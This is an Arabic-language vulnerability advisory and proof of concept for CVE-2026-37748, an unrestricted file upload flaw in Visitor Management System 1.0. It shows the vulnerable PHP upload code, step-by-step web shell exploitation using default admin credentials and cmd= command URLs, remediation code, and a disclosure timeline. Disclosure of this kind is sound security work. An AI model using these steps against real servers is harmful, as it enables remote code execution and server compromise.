
إثبات مفهوم لاستغلال CVE-2026-37748، وهي ثغرة رفع ملفات غير مقيدة في نظام إدارة الزوار الإصدار 1.0 تؤدي إلى تنفيذ تعليمات برمجية عن بُعد عبر رفع قشرة ويب بلغة PHP.
| الحقل | المعلومات |
|---|
| معرف CVE | CVE-2026-37748 |
| النوع | رفع ملفات غير مقيد → تنفيذ التعليمات البرمجية عن بُعد |
| الخطورة | عالية (CVSSv3: 7.2) |
| البائع | sanjay1313 |
| المنتج | نظام إدارة الزوار |
| الإصدار | 1.0 |
| مكتشف الثغرة | Varad AP Mene |
| التاريخ | 2026-04-16 |
| CWE | CWE-434 |
توجد ثغرة حرجة لرفع الملفات غير المقيد في نظام إدارة الزوار 1.0 من sanjay1313. يتم استدعاء الدالة move_uploaded_file() في الملفين vms/php/admin_user_insert.php و vms/php/update_1.php دون أي تحقق من نوع MIME أو امتداد الملف أو المحتوى. يمكن للمسؤول المصادق عليه رفع قشرة ويب PHP عبر حقل رفع الصورة وتحقيق تنفيذ التعليمات البرمجية عن بُعد على الخادم من خلال الوصول إلى الملف المرفوع مباشرة عبر الرابط.
معرف CVE: CVE-2026-37748 CWE: CWE-434 — رفع غير مقيد لملف بنوع خطير CVSSv3: 7.2 عالية (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
نظام إدارة الزوار 1.0 هو تطبيق ويب مكتوب بلغة PHP/MySQL من sanjay1313 على GitHub يُستخدم لإدارة سجلات الزوار في المؤسسات.
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
لا يوجد تحقق من امتداد الملف أو نوع MIME أو المحتوى.
الخطوة 1 — إنشاء ملف القشرة shell.php:
الخطوة 2 — تسجيل الدخول إلى لوحة التحكم: http://target/vms/ اسم المستخدم: admin كلمة المرور: admin
الخطوة 3 — رفع shell.php كصورة الملف الشخصي: انتقل إلى مستخدمو الإدارة ← إضافة مسؤول جديد ارفع shell.php كصورة الملف الشخصي
الخطوة 4 — تنفيذ الأوامر: http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. التحقق من امتداد الملف
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 2. التحقق من نوع MIME
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Invalid MIME type");
}
// 3. إعادة تسمية الملف على الخادم
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| التاريخ | الحدث |
|---|---|
| 2026-03-15 | اكتشاف الثغرة |
| 2026-03-15 | الإبلاغ إلى MITRE |
| 2026-04-02 | تعيين CVE-2026-37748 |
| 2026-04-16 | الكشف العام |
| 2026-04-16 | إخطار MITRE بالنشر |
| 2026-04-17 | إخطار البائع عبر قضايا GitHub |
Varad Arachana Prashant Mene